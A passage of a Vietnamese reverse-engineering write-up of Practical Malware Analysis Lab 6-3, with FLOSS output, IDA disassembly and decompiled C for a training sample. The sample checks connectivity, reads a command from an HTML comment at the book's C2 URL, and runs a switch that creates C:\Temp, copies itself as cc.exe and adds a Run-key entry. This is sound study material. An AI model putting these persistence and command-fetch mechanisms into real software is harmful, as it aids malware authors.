![]() |
Hình 1- Lab06-03.exe |
Table of Contents
1. Compare the calls in main to Lab 6-2’s main method. What is the new function called from main?
1.1 Phân tích tĩnh
![]() |
Hình 1.2 - Strings lab06-03.exe |
Nội dung:
Microsoft Windows [Version 10.0.16299.309] (c) 2017 Microsoft Corporation. All rights reserved. C:\Users\REM\Downloads\Practical Malware Analysis Labs\BinaryCollection\Chapter_6L>floss.exe lab06-03.exe INFO: floss: extracting static strings... finding decoding function features: 100%|█| 113/113 [00:00<00:00, 1816.15 functions/s, skipped 103 library f INFO: floss.stackstrings: extracting stackstrings from 7 functions extracting stackstrings: 100%|████████████████████████████████████████| 7/7 [00:00<00:00, 89.75 functions/s] INFO: floss.tightstrings: extracting tightstrings from 1 functions... extracting tightstrings from function 0x4031b0: 100%|█████████████████| 1/1 [00:00<00:00, 15.98 functions/s] INFO: floss.string_decoder: decoding strings INFO: floss.results: Error 2.3: Fail to get command INFO: floss.results: Error 2.1: Fail to OpenUrl INFO: floss.results: Error 2.2: Fail to ReadFile INFO: floss.results: Error 1.1: No Internet INFO: floss.results: Error 3.2: Not a valid command provided INFO: floss.results: Error 1.1: No Internet INFO: floss.results: Error 2.1: Fail to OpenUrl emulating function 0x401040 (call 1/1): 100%|█████████████████████████| 8/8 [00:01<00:00, 6.10 functions/s] INFO: floss: finished execution after 10.22 seconds FLARE FLOSS RESULTS (version v2.3.0-0-g037fc4b) +------------------------+----------------------------------------------------------------------------------+ | file path | lab06-03.exe | | extracted strings | | | static strings | 213 | | stack strings | 0 | | tight strings | 0 | | decoded strings | 7 | +------------------------+----------------------------------------------------------------------------------+ ────────────────────── FLOSS STATIC STRINGS ────────────────────── +-----------------------------------+ | FLOSS STATIC STRINGS: ASCII (209) | +-----------------------------------+ !This program cannot be run in DOS mode. VRichA9 .text `.rdata @.data hHp@ h0p@ hhp@ hpq@ hhq@ h<q@ X_[^ HHtpHHtl t: U Yt f Yu!j =ht@ ^h p@ YYh(p@ h$p@ t9UW ?=t"U QQS3 PSSW 8"uD 8"uF@ 8"u, -``@ @@f9 @@f9 =X`@ SS@SSPVSS t#SSUP t$$VSS _^][YY DSUVWh _^][ 8MZu Phha@ t>j,P Yt0@ SVWUj ]_^[ t.;t$$t( VC20XC00U SVWU tEVU t3x< ]_^[ hpd@ hld@ hPd@ hLd@ h$d@ Yt4^ ~&WP SVW3 Vt6P _WPS u?Vj Y;5L 90tr Wj@Y3 t7SW @AA; <Xt u,9E ^_[3 ^[_3 uiSj uY;] pD#U j #M j?^; SUVWu _^][ QQSV sN;E u%C@ VWuBh tzVS GIt% t/Ku VWss uFWWj "WWSh 9} u E WW tMWWS t@9} VSh SUVW _^][ (8PX 700WP `h```` ppxxxx (null) __GLOBAL_HEAP_SELECTED __MSVCRT_HEAP_SELECT runtime error TLOSS error SING error DOMAIN error R6028 - unable to initialize heap R6027 - not enough space for lowio initialization R6026 - not enough space for stdio initialization R6025 - pure virtual function call R6024 - not enough space for _onexit/atexit table R6019 - unable to open console device R6018 - unexpected heap error R6017 - unexpected multithread lock error R6016 - not enough space for thread data abnormal program termination R6009 - not enough space for environment R6008 - not enough space for arguments R6002 - floating point not loaded Microsoft Visual C++ Runtime Library Runtime Error! Program: <program name unknown> GetLastActivePopup GetActiveWindow MessageBoxA user32.dll Sleep DeleteFileA CopyFileA CreateDirectoryA KERNEL32.dll InternetGetConnectedState InternetReadFile InternetCloseHandle InternetOpenUrlA InternetOpenA WININET.dll RegSetValueExA RegOpenKeyExA ADVAPI32.dll GetCommandLineA GetVersion ExitProcess TerminateProcess GetCurrentProcess UnhandledExceptionFilter GetModuleFileNameA FreeEnvironmentStringsA FreeEnvironmentStringsW WideCharToMultiByte GetEnvironmentStrings GetEnvironmentStringsW SetHandleCount GetStdHandle GetFileType GetStartupInfoA GetModuleHandleA GetEnvironmentVariableA GetVersionExA HeapDestroy HeapCreate VirtualFree HeapFree RtlUnwind WriteFile HeapAlloc GetCPInfo GetACP GetOEMCP VirtualAlloc HeapReAlloc GetProcAddress LoadLibraryA GetLastError FlushFileBuffers SetFilePointer MultiByteToWideChar LCMapStringA LCMapStringW GetStringTypeA GetStringTypeW SetStdHandle CloseHandle Error 1.1: No Internet Success: Internet Connection Error 2.3: Fail to get command Error 2.2: Fail to ReadFile Error 2.1: Fail to OpenUrl http://www.practicalmalwareanalysis.com/cc.htm Internet Explorer 7.5/pma Error 3.2: Not a valid command provided Error 3.1: Could not set Registry value Malware Software\Microsoft\Windows\CurrentVersion\Run C:\Temp\cc.exe C:\Temp Success: Parsed command is %c +------------------------------------+ | FLOSS STATIC STRINGS: UTF-16LE (4) | +------------------------------------+ jjjj jjjj (null) ((((( H ───────────────────── FLOSS STACK STRINGS ───────────────────── ───────────────────── FLOSS TIGHT STRINGS ───────────────────── ─────────────────────── FLOSS DECODED STRINGS ─────────────────────── Error 2.3: Fail to get command Error 2.1: Fail to OpenUrl Error 2.2: Fail to ReadFile Error 1.1: No Internet Error 3.2: Not a valid command provided Error 1.1: No Internet Error 2.1: Fail to OpenUrl C:\Users\REM\Downloads\Practical Malware Analysis Labs\BinaryCollection\Chapter_6L>
![]() |
Hình 1.3 - Strings lab06-03.exe |
Software\Microsoft\Windows\CurrentVersion\Run
C:\Temp\cc.exe
![]() |
Hình 1.4 - Kernel32.dll |
![]() |
Hình 1.5 - Wininet.dll |
![]() |
Hình 1.6 - Advapi32.dll |
![]() |
Hình 1.7 - Part I - Basic Static techniques |
#Tạo một thư mục mới. Nếu hệ thống tệp cơ bản hỗ trợ bảo mật trên các tệp và thư mục, hàm sẽ áp dụng bộ mô tả bảo mật được chỉ định cho thư mục mới. BOOL CreateDirectoryA( [in] LPCSTR lpPathName, [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes ); #Sao chép một tập tin hiện có sang một tập tin mới. BOOL CopyFileA( [in] LPCSTR lpExistingFileName, [in] LPCSTR lpNewFileName, [in] BOOL bFailIfExists ); #Xóa một tập tin hiện có. BOOL DeleteFileA( [in] LPCSTR lpFileName ); #Đặt dữ liệu và loại giá trị được chỉ định trong khóa đăng ký. LSTATUS RegSetValueExA( [in] HKEY hKey, [in, optional] LPCSTR lpValueName, DWORD Reserved, [in] DWORD dwType, [in] const BYTE *lpData, [in] DWORD cbData ); #Mở khóa đăng ký được chỉ định. Lưu ý rằng tên khóa không phân biệt chữ hoa chữ thường. LSTATUS RegOpenKeyExA( [in] HKEY hKey, [in, optional] LPCSTR lpSubKey, [in] DWORD ulOptions, [in] REGSAM samDesired, [out] PHKEY phkResult );
1.2 Phân tích động
![]() |
Hình 1.8 - Phân tích động với wireshark |
GET / HTTP/1.1 User-Agent: Internet Explorer 8.0 Host: www.malwareanalysisbook.com Cache-Control: no-cache
![]() |
Hình 1.11 - Chế độ text sub_401000 |
Giải thích các câu lệnh Assembly của đoạn mã trên:
.text:00401000 ; Định nghĩa hàm .text:00401000 sub_401000 proc near ; Được gọi từ _main+6 .text:00401000 var_4 = dword ptr -4 ; Định nghĩa biến cục bộ tại ebp-4 .text:00401000 push ebp ; Lưu ebp hiện tại .text:00401001 mov ebp, esp ; Đặt ebp là đỉnh của stack .text:00401003 push ecx ; Lưu ecx (sẽ được sử dụng như là space cho biến cục bộ) .text:00401004 push 0 ; dwReserved = 0 .text:00401006 push 0 ; lpdwFlags = 0 .text:00401008 call ds:InternetGetConnectedState ; Gọi hàm kiểm tra kết nối internet .text:0040100E mov [ebp+var_4], eax ; Lưu kết quả vào biến cục bộ .text:00401011 cmp [ebp+var_4], 0 ; So sánh kết quả với 0 .text:00401015 jz short loc_40102B ; Nếu bằng 0, nhảy đến loc_40102B (không có internet) .text:00401017 push offset aSuccessInterne ; "Success: Internet Connection\n" .text:0040101C call sub_401271 ; Gọi hàm in thông báo thành công .text:00401021 add esp, 4 ; Dọn dẹp stack .text:00401024 mov eax, 1 ; Đặt eax = 1 (trạng thái thành công) .text:00401029 jmp short loc_40103A ; Nhảy đến kết thúc hàm .text:0040102B ; Nếu không có kết nối internet .text:0040102B loc_40102B: .text:0040102B push offset aError11NoInter ; "Error 1.1: No Internet\n" .text:00401030 call sub_401271 ; Gọi hàm in thông báo lỗi .text:00401035 add esp, 4 ; Dọn dẹp stack .text:00401038 xor eax, eax ; Đặt eax = 0 (trạng thái lỗi) .text:0040103A ; Kết thúc hàm .text:0040103A loc_40103A: .text:0040103A mov esp, ebp ; Khôi phục esp .text:0040103C pop ebp ; Khôi phục ebp .text:0040103D retn ; Trở về từ hàm .text:0040103D sub_401000 endp ; Kết thúc định nghĩa hàm
Giải thích đoạn mã C:
Lưu ý rằng, trong C, chúng ta không cần quản lý stack và các thanh ghi như trong hợp ngữ, và chúng ta sẽ sử dụng các hàm có sẵn trong API của Windows để thực hiện các chức năng tương tự:
int sub_401000() { BOOL ConnectedState; // [esp+0h] [ebp-4h] ConnectedState = InternetGetConnectedState(0, 0); if ( ConnectedState ) { sub_401271(aSuccessInterne, ConnectedState); return 1; } else { sub_401271(aError11NoInter, 0); return 0; } }
Tất nhiên! Hãy cùng tôi phân tích từng dòng lệnh trong đoạn mã C này:
Khai báo biến và gán giá trị:
BOOL ConnectedState;
là khai báo biến kiểuBOOL
(Boolean) có tên làConnectedState
. Biến này được sử dụng để lưu trạng thái kết nối internet.ConnectedState = InternetGetConnectedState(0, 0);
là dòng lệnh gọi hàmInternetGetConnectedState
để kiểm tra trạng thái kết nối internet. Hàm này trả về giá trị khác 0 nếu có kết nối, và 0 nếu không có kết nối. Kết quả trả về được gán cho biếnConnectedState
.
Kiểm tra kết nối internet:
if (ConnectedState)
là câu lệnh kiểm tra xemConnectedState
có khác 0 hay không. Nếu có kết nối internet (giá trị khác 0), chương trình sẽ thực hiện các dòng lệnh trong khối{ ... }
.- Trong khối này:
sub_401271(aSuccessInterne, ConnectedState);
là dòng lệnh gọi hàmsub_401271
để in ra thông báo “Success: Internet Connection”. Tham sốaSuccessInterne
là chuỗi ký tự tương ứng với thông báo này.return 1;
là dòng lệnh trả về giá trị 1, kết thúc hàm.
- Ngược lại, nếu không có kết nối internet, chương trình sẽ thực hiện các dòng lệnh trong khối
else { ... }
. - Trong khối này:
sub_401271(aError11NoInter, 0);
là dòng lệnh gọi hàmsub_401271
để in ra thông báo “Error 1.1: No Internet”. Tham sốaError11NoInter
là chuỗi ký tự tương ứng với thông báo này.return 0;
là dòng lệnh trả về giá trị 0, kết thúc hàm.
Kết thúc hàm:
- Cuối cùng, hàm trả về giá trị 1 hoặc 0 tùy thuộc vào trạng thái kết nối internet.
sub_401000(); // Kiểm tra kết nối Internet; sub_401040(); // Tải xuống trang web và phân tích các nhận xét HTML; sub_401271(); // printf; sub_401130; // hàm mới;
Trả lời:
2. What parameters does this new function take?
2.1. Phân tích hàm sub_401130
![]() |
Hình 2.1 - Chế độ text sub_401130 |
; Định nghĩa các biến cục bộ và tham số var_8 = dword ptr -8 ; Biến cục bộ tại ebp-8 phkResult = dword ptr -4 ; Biến cục bộ tại ebp-4 (không được sử dụng trong đoạn mã này) arg_0 = byte ptr 8 ; Tham số đầu tiên (ký tự), tại ebp+8 lpExistingFileName= dword ptr 0Ch ; Tham số thứ hai (chuỗi LPCSTR), tại ebp+12 ; Bắt đầu hàm push ebp ; Lưu giá trị ebp hiện tại vào stack mov ebp, esp ; Đặt ebp bằng esp để thiết lập khung stack mới sub esp, 8 ; Cấp phát 8 byte trên stack cho các biến cục bộ ; Chuyển đổi tham số đầu tiên từ ký tự sang số nguyên có dấu và lưu vào var_8 movsx eax, [ebp+arg_0] ; Mở rộng ký tự thành số nguyên có dấu và lưu vào eax mov [ebp+var_8], eax ; Lưu giá trị từ eax vào biến cục bộ var_8 ; Tính toán và so sánh để xác định nhảy đến case nào trong switch-case mov ecx, [ebp+var_8] ; Lấy giá trị từ var_8 và lưu vào ecx sub ecx, 61h ; Trừ đi giá trị của 'a' (hex 61) từ ecx mov [ebp+var_8], ecx ; Cập nhật giá trị của var_8 cmp [ebp+var_8], 4 ; So sánh giá trị của var_8 với 4 ja def_401153 ; Nếu giá trị lớn hơn 4, nhảy đến nhãn def_401153 ; Chuẩn bị cho việc nhảy đến case cụ thể trong switch-case mov edx, [ebp+var_8] ; Lấy giá trị từ var_8 và lưu vào edx jmp ds:jpt_401153[edx*4] ; Nhảy đến địa chỉ được tính toán trong bảng nhảy jpt_401153
Hàm sub_401130
với hai tham số: một ký tự và
một chuỗi LPCSTR. Hàm này sử dụng một khung dựa trên thanh ghi
ebp
để quản lý các biến cục bộ và tham số.
Cấu trúc này cho thấy hàm có một cấu trúc
switch-case
với 5 trường hợp (0 đến 4), và một
trường hợp mặc định nếu giá trị sau khi trừ đi ‘a’ lớn hơn 4.
2.2 Phân tích quá trình gọi hàm sub_401130
![]() |
Hình 2.1 - Chế độ graph của hàm main |
![]() |
Hình 2.2 - Chế độ text của hàm main |
Giải thích các câu lệnh Assembly của đoạn mã trên:
.text:00401210 ; int __cdecl main(int argc, const char **argv, const char **envp) .text:00401210 _main proc near ; Định nghĩa hàm main .text:00401210 .text:00401210 var_8 = byte ptr -8 ; Biến cục bộ, 1 byte .text:00401210 var_4 = dword ptr -4 ; Biến cục bộ, 4 bytes .text:00401210 argc = dword ptr 8 ; Số lượng đối số .text:00401210 argv = dword ptr 0Ch ; Mảng các chuỗi đối số .text:00401210 envp = dword ptr 10h ; Môi trường biến .text:00401210 .text:00401210 push ebp ; Lưu base pointer cũ .text:00401211 mov ebp, esp ; Đặt base pointer mới .text:00401213 sub esp, 8 ; Cấp phát không gian cho biến cục bộ .text:00401216 call sub_401000 ; Gọi hàm sub_401000 .text:0040121B mov [ebp+var_4], eax; Lưu kết quả trả về của hàm vào var_4 .text:0040121E cmp [ebp+var_4], 0 ; So sánh var_4 với 0 .text:00401222 jnz short loc_401228; Nếu không bằng 0, nhảy đến loc_401228 .text:00401224 xor eax, eax ; Đặt eax = 0 .text:00401226 jmp short loc_40126D; Nhảy đến kết thúc hàm .text:00401228 ; --------------------------------------------------------------------------- .text:00401228 loc_401228: ; Nhãn loc_401228 .text:00401228 call sub_401040 ; Gọi hàm sub_401040 .text:0040122D mov [ebp+var_8], al ; Lưu kết quả trả về của hàm vào var_8 .text:00401230 movsx eax, [ebp+var_8]; Mở rộng ký tự thành số nguyên .text:00401234 test eax, eax ; Kiểm tra eax .text:00401236 jnz short loc_40123C; Nếu eax không bằng 0, nhảy đến loc_40123C .text:00401238 xor eax, eax ; Đặt eax = 0 .text:0040123A jmp short loc_40126D; Nhảy đến kết thúc hàm .text:0040123C ; --------------------------------------------------------------------------- .text:0040123C loc_40123C: ; Nhãn loc_40123C .text:0040123C movsx ecx, [ebp+var_8]; Mở rộng ký tự thành số nguyên .text:00401240 push ecx ; Đẩy kết quả vào stack .text:00401241 push offset aSuccessParsedC ; Đẩy chuỗi "Success: Parsed command is %c\n" vào stack .text:00401246 call sub_401271 ; Gọi hàm sub_401271 (có thể là printf) .text:0040124B add esp, 8 ; Dọn dẹp stack .text:0040124E mov edx, [ebp+argv] ; Lấy địa chỉ của argv .text:00401251 mov eax, [edx] ; Lấy địa chỉ của chuỗi đầu tiên trong argv .text:00401253 push eax ; Đẩy địa chỉ chuỗi vào stack .text:00401254 mov cl, [ebp+var_8] ; Lấy kết quả từ var_8 .text:00401257 push ecx ; Đẩy kết quả vào stack .text:00401258 call sub_401130 ; Gọi hàm sub_401130 .text:0040125D add esp, 8 ; Dọn dẹp stack .text:00401260 push 0EA60h ; Đẩy giá trị 0EA60h (60000 ms) vào stack .text:00401265 call ds:Sleep ; Gọi hàm Sleep của Windows API .text:0040126B xor eax, eax ; Đặt eax = 0 .text:0040126D loc_40126D: ; Nhãn kết thúc hàm .text:0040126D mov esp, ebp ; Khôi phục stack pointer .text:0040126F pop ebp ; Khôi phục base pointer .text:00401270 retn ; Trở về từ hàm .text:00401270 _main endp ; Kết thúc định nghĩa hàm
Đoạn mã này là một hàm main
được viết bằng hợp ngữ, sử dụng cách gọi hàm __cdecl
. Hàm này khởi tạo một stack frame, gọi các hàm con, và kiểm tra giá trị trả về của chúng. Nếu hàm sub_401000
trả về một giá trị khác không, hàm sub_401040
sẽ được gọi. Kết quả của sub_401040
được kiểm tra và nếu không bằng không, một thông báo sẽ được in ra và một hàm khác (sub_401130
) sẽ được gọi với đối số là chuỗi đầu tiên từ argv
và ký tự trả về từ sub_401040
. Cuối cùng, hàm Sleep
của Windows API được gọi để tạm dừng chương trình trong 60 giây trước khi kết thúc hàm.
Giải thích đoạn mã C:
int __cdecl main(int argc, const char **argv, const char **envp) { char v4; // [esp+0h] [ebp-8h] if ( !sub_401000() ) return 0; v4 = sub_401040(); if ( v4 ) { sub_401271("Success: Parsed command is %c\n", v4); sub_401130(v4, *argv); Sleep(0xEA60u); } return 0; }
Dưới đây là phân tích từng dòng của đoạn mã C:
Dòng khai báo hàm
main
:int __cdecl main(int argc, const char **argv, const char **envp)
- Đây là hàm
main
của chương trình. Nó nhận ba tham số:argc
: Số lượng tham số dòng lệnh (command line arguments).argv
: Mảng con trỏ chứa các chuỗi tham số dòng lệnh.envp
: Mảng con trỏ chứa các biến môi trường (environment variables).
Dòng khai báo biến
v4
:char v4; // [esp+0h] [ebp-8h]
- Biến
v4
là một ký tự.
Dòng kiểm tra hàm
sub_401000()
:- Nếu hàm
sub_401000()
trả về giá trịfalse
(0), chương trình kết thúc và trả về 0.
- Nếu hàm
Dòng gán giá trị cho biến
v4
:v4 = sub_401040();
- Gọi hàm
sub_401040()
và gán giá trị trả về cho biếnv4
.
Dòng kiểm tra giá trị của
v4
:- Nếu
v4
khác 0 (tức làtrue
), thực hiện các bước sau:- Gọi hàm
sub_401271()
với định dạng chuỗi “Success: Parsed command is %c\n” và giá trị củav4
. - Gọi hàm
sub_401130()
với tham số làv4
và giá trị đầu tiên củaargv
. - Chờ 60 giây (Sleep(0xEA60u)).
- Gọi hàm
- Cuối cùng, chương trình trả về 0.
- Nếu
- argv là tham số của hàm main, chính là tên file của chương trình đang chạy 'Lab06-03.exe' (0Ch là giá trị 12 trong hệ thập phân đúng bằng độ dài trong chuỗi Lab06-03.exe).
- var_8 được xác định bởi hàm sub_401040.
2.3. Phân tích hàm sub_401040
![]() |
Hình 2.3 - Phân tích hàm sub_401040 |
Nhánh 1
; Attributes: bp-based frame sub_401040 proc near ; Định nghĩa một hàm với địa chỉ bắt đầu là 401040 ; Khai báo các biến cục bộ và tham số Buffer= byte ptr -210h var_20F= byte ptr -20Fh var_20E= byte ptr -20Eh var_20D= byte ptr -20Dh var_20C= byte ptr -20Ch hFile= dword ptr -10h hInternet= dword ptr -0Ch dwNumberOfBytesRead= dword ptr -8 var_4= dword ptr -4 push ebp ; Lưu giá trị của ebp hiện tại mov ebp, esp ; Đặt ebp bằng esp để thiết lập stack frame sub esp, 210h ; Cấp phát 0x210 bytes cho stack frame ; Gọi hàm InternetOpenA với các tham số được đẩy vào stack push 0 ; dwFlags push 0 ; lpszProxyBypass push 0 ; lpszProxy push 0 ; dwAccessType push offset szAgent ; "Internet Explorer 7.5/pma" call ds:InternetOpenA mov [ebp+hInternet], eax ; Lưu handle trả về từ InternetOpenA ; Gọi hàm InternetOpenUrlA với các tham số được đẩy vào stack push 0 ; dwContext push 0 ; dwFlags push 0 ; dwHeadersLength push 0 ; lpszHeaders push offset szUrl ; "http://www.practicalmalwareanalysis.com"... mov eax, [ebp+hInternet] push eax ; hInternet call ds:InternetOpenUrlA mov [ebp+hFile], eax ; Lưu handle trả về từ InternetOpenUrlA cmp [ebp+hFile], 0 ; So sánh handle của tệp với 0 jnz short loc_40109D ; Nếu handle không phải là 0, nhảy đến loc_40109D
Ở đây, sub esp, 210h
tạo ra không gian trên stack cho
các biến cục bộ. InternetOpenA
và
InternetOpenUrlA
là các hàm của Windows API được sử
dụng để mở một session Internet và tải xuống một tệp từ URL chỉ
định. hInternet
và hFile
là các handle
được sử dụng để quản lý các kết nối và tệp đã mở.
Nếu hFile
bằng 0, điều này có nghĩa là việc mở tệp
không thành công và chương trình sẽ nhảy đến nhãn
loc_40109D
. Nếu không, chương trình sẽ tiếp tục thực
hiện các lệnh tiếp theo (không được hiển thị ở đây).
Tóm lại đoạn này là malware đang cố gắng tải xuống một tệp từ Internet, có thể là một phần của quá trình lây nhiễm hoặc cập nhật malware.
Nhánh 2
loc_40109D: ; Địa chỉ bắt đầu của đoạn mã lea edx, [ebp+dwNumberOfBytesRead] ; Load effective address của biến dwNumberOfBytesRead vào thanh ghi edx push edx ; Đẩy giá trị trong edx (địa chỉ của dwNumberOfBytesRead) vào stack push 200h ; Đẩy hằng số 200h (512 in decimal) vào stack, là số byte cần đọc lea eax, [ebp+Buffer] ; Load effective address của buffer vào thanh ghi eax push eax ; Đẩy giá trị trong eax (địa chỉ của Buffer) vào stack mov ecx, [ebp+hFile] ; Di chuyển giá trị của hFile vào thanh ghi ecx push ecx ; Đẩy giá trị trong ecx (handle của file) vào stack call ds:InternetReadFile ; Gọi hàm InternetReadFile từ Import Address Table (IAT) mov [ebp+var_4], eax ; Lưu giá trị trả về của hàm (thành công hay không) vào var_4 cmp [ebp+var_4], 0 ; So sánh giá trị của var_4 với 0 jnz short loc_4010E5 ; Nếu var_4 không bằng 0, nhảy đến địa chỉ loc_4010E5
Nhánh 3
loc_4010E5: movsx ecx, [ebp+Buffer] cmp ecx, 3Ch ; '<' jnz short loc_40111D
-
loc_4010E5:
- Đây là một nhãn (label) cho địa chỉ bắt đầu của một đoạn mã. -
movsx ecx, [ebp+Buffer]
- Lệnh này mở rộng ký tự có dấu từ bộ đệm (Buffer) và lưu vào thanh ghiecx
.movsx
là viết tắt của “move with sign-extend,” nghĩa là nó sẽ chuyển giá trị từ bộ đệm và mở rộng dấu của nó (nếu là số âm) khi lưu vàoecx
. -
cmp ecx, 3Ch
- Lệnh này so sánh giá trị trong thanh ghiecx
với giá trị3Ch
(tương đương với ký tự ‘<’ trong bảng mã ASCII). -
jnz short loc_40111D
- Lệnh nhảyjnz
(jump if not zero) sẽ nhảy đến nhãnloc_40111D
nếu kết quả của phép so sánh trước đó không phải là zero (nghĩa làecx
không bằng3Ch
).
Nói một cách đơn giản, đoạn mã này kiểm tra xem ký tự đầu tiên trong
bộ đệm có phải là ký tự ‘<’ hay không. Nếu không phải, nó sẽ nhảy
đến một phần khác của chương trình tại loc_40111D
.
Nhánh 4
movsx edx, [ebp+var_20F] cmp edx, 21h ; '!' jnz short loc_40111D
Thực hiện các bước sau:
-
movsx edx, [ebp+var_20F]
: Lệnh này mở rộng giá trị ký hiệu từ một biến (ở đây làvar_20F
với địa chỉ cơ sở làebp
) vào thanh ghiedx
. Nếu biến là số âm,movsx
sẽ điền các bit cao củaedx
với 1 (để bảo toàn dấu của số âm), và nếu là số dương, nó sẽ điền các bit cao với 0. -
cmp edx, 21h
: Lệnh này so sánh giá trị trong thanh ghiedx
với hằng số21h
(tương đương với ký tự!
trong bảng mã ASCII). -
jnz short loc_40111D
: Lệnh nhảyjnz
(Jump if Not Zero) sẽ nhảy đến nhãnloc_40111D
nếu kết quả của phép so sánh trước đó không bằng 0 (nghĩa làedx
không bằng21h
).
Nói một cách đơn giản, đoạn mã kiểm tra xem biến tại địa chỉ
[ebp+var_20F]
có phải là ký tự !
hay
không. Nếu không phải, chương trình sẽ nhảy đến một địa chỉ khác để
thực hiện các lệnh tiếp theo.
Nhánh 5
movsx eax, [ebp+var_20E] cmp eax, 2Dh ; '-' jnz short loc_40111D
-
movsx eax, [ebp+var_20E]
: Lệnh này sẽ mở rộng giá trị ký hiệu từ biếnvar_20E
(được lưu trữ tại địa chỉ bộ nhớ cụ thể nào đó dựa trênebp
) vào thanh ghieax
. Nếu giá trị là số âm,movsx
sẽ điền các bit cao củaeax
với giá trị 1 để giữ nguyên dấu âm, còn nếu là số dương, nó sẽ điền các bit cao với giá trị 0. -
cmp eax, 2Dh
: Lệnh này so sánh giá trị trongeax
với2Dh
(tương đương với ký tự-
trong bảng mã ASCII). -
jnz short loc_40111D
: Lệnhjnz
(Jump if Not Zero) sẽ nhảy đến nhãnloc_40111D
nếu kết quả của phép so sánhcmp
không bằng 0, tức là giá trị trongeax
không phải là2Dh
.
Tóm lại, đoạn mã này kiểm tra xem biến tại địa chỉ
[ebp+var_20E]
có phải là ký tự -
hay
không. Nếu không phải, chương trình sẽ nhảy đến địa chỉ
loc_40111D
để thực hiện các lệnh khác.
Nhánh 6
movsx ecx, [ebp+var_20D] cmp ecx, 2Dh ; '-' jnz short loc_40111D
-
movsx ecx, [ebp+var_20D]
: Lệnh này sẽ di chuyển giá trị từ vị trí bộ nhớ có địa chỉ được xác định bởiebp+var_20D
vào thanh ghiecx
.movsx
là viết tắt của “move with sign-extend,” nghĩa là nó sẽ mở rộng dấu của giá trị khi di chuyển nó, cho phép giá trị âm được bảo toàn nếu nó là một số âm. -
cmp ecx, 2Dh
: Lệnh này so sánh giá trị trong thanh ghiecx
với giá trị hexa2Dh
(tương đương với ký tự ‘-’ trong bảng mã ASCII). -
jnz short loc_40111D
: Lệnh này là một lệnh nhảy điều kiện.jnz
là viết tắt của “jump if not zero,” nghĩa là nếu kết quả của phép so sánh trước đó không phải là không (nghĩa làecx
không bằng2Dh
), chương trình sẽ nhảy đến nhãnloc_40111D
.
Nói cách khác, đoạn mã này kiểm tra xem giá trị tại địa chỉ
ebp+var_20D
có phải là ký tự ‘-’ hay không. Nếu
không phải, chương trình sẽ nhảy đến một phần khác của mã.
Tổng kết
Từ phân tích các nhánh ③ ④ ⑤ ⑥ tôi nhận thấy hàm này tương đồng như đã phân tích ở câu 4 trong Lab06-02.exe:
Đó là thực hiện kiểm tra một chuỗi ký tự được lưu trữ
trong bộ đệm và phản hồi dựa trên kết quả của các kiểm
tra đó. Các lệnh movsx
được sử dụng để mở rộng giá
trị từ 8-bit lên 32-bit và lưu vào các thanh ghi
ecx
, edx
, và eax
.
Mã này kiểm tra xem bốn ký tự đầu tiên trong bộ đệm có
phải là <
, !
,
-
, -
hay không. Nếu bất kỳ
kiểm tra nào không khớp, chương trình sẽ nhảy đến nhãn
loc_40111D
, nơi nó sẽ xử lý lỗi bằng cách
hiển thị thông báo lỗi và đặt giá trị trả về là 0. Nếu
tất cả các kiểm tra đều khớp, chương trình sẽ nhảy đến
nhãn loc_40112C
, nơi nó sẽ kết thúc hàm và
trở về.
Nhánh 9
mov al, [ebp+var_20C] jmp short loc_40112C
-
mov al, [ebp+var_20C]
: Lệnh này sẽ di chuyển giá trị từ vị trí bộ nhớ có địa chỉ được xác định bởiebp+var_20C
vào thanh ghial
. Thanh ghial
là phần thấp của thanh ghieax
, và thường được sử dụng để chứa dữ liệu kích thước byte. -
jmp short loc_40112C
: Lệnh này là một lệnh nhảy không điều kiện.jmp
là viết tắt của “jump,” vàshort
chỉ ra rằng đây là một nhảy ngắn, tức là đích nhảy không cách xa vị trí hiện tại quá nhiều trong mã.loc_40112C
là nhãn đích mà chương trình sẽ nhảy đến, bỏ qua các lệnh ở giữa.
Nói một cách đơn giản, đoạn mã này lấy một byte dữ liệu từ một
vị trí trong bộ nhớ và lưu nó vào thanh ghi al
,
sau đó nhảy đến một địa chỉ khác trong chương trình mà không
kiểm tra điều kiện nào.
![]() |
Hình 2.4 - Ký tự thứ 5 của chuỗi sau các ký tự <!-- |
Trả lời:
3. What major code construct does this function contain?
Trả lời:
switch-case
với 5 trường hợp (0 đến 4), và một trường hợp mặc định nếu giá trị
sau khi trừ đi ‘a’ lớn hơn 4.
![]() |
Hình 3.1 - Cấu trúc switch-case |
4. What can this function do?
![]() |
Hình 4.1 - Phân tích chức năng của hàm sub_401130 |
![]() |
Hình 4.2 - Kết quả thực hiện trong bảng nhảy jpt_401153 |
![]() |
Hình 4.3 - Cấu trúc cấu trúc switch-case của hàm sub_401130 |
Giải thích các câu lệnh Assembly của đoạn mã trên:
Đoạn mã hợp ngữ này mô tả hàm sub_401130
; int __cdecl sub_401130(char, LPCSTR lpExistingFileName) ; Đây là tiêu đề của hàm, cho biết hàm này nhận vào một ký tự và một chuỗi LPCSTR làm tham số. sub_401130: push ebp ; lưu base pointer cũ mov ebp, esp ; thiết lập base pointer mới cho stack frame hiện tại sub esp, 8 ; cấp phát 8 byte trên stack cho biến cục bộ movsx eax, [ebp+arg_0] ; mở rộng ký tự thành số nguyên 32-bit và lưu vào eax mov [ebp+var_8], eax ; lưu giá trị của eax vào biến cục bộ var_8 mov ecx, [ebp+var_8] ; lấy giá trị từ var_8 và lưu vào ecx sub ecx, 'a' ; trừ đi giá trị ASCII của ký tự 'a' (0x61) mov [ebp+var_8], ecx ; cập nhật giá trị của var_8 cmp [ebp+var_8], 4 ; so sánh giá trị của var_8 với 4 ja def_401153 ; nếu var_8 > 4, nhảy đến nhãn def_401153 mov edx, [ebp+var_8] ; lấy giá trị từ var_8 và lưu vào edx jmp ds:jpt_401153[edx*4] ; nhảy đến địa chỉ được tính bởi bảng nhảy jpt_401153 --------------------------------------------------------------------------- loc_40115A: ; Trường hợp khi arg_0 là 'a' (97 trong bảng ASCII) push 0 ; Đẩy giá trị 0 vào stack (được sử dụng làm tham số cho hàm CreateDirectoryA) push offset PathName ; Đẩy địa chỉ của chuỗi "C:\\Temp" vào stack call ds:CreateDirectoryA ; Gọi hàm CreateDirectoryA để tạo thư mục "C:\\Temp" jmp loc_4011EE ; Nhảy đến nhãn loc_4011EE --------------------------------------------------------------------------- loc_40116C: ; Trường hợp khi arg_0 là 'b' (98 trong bảng ASCII) push 1 ; Đẩy giá trị 1 vào stack (được sử dụng làm tham số cho hàm CopyFileA) push offset Data ; Đẩy địa chỉ của chuỗi "C:\\Temp\\cc.exe" vào stack mov eax, [ebp+lpExistingFileName] ; Lấy địa chỉ của 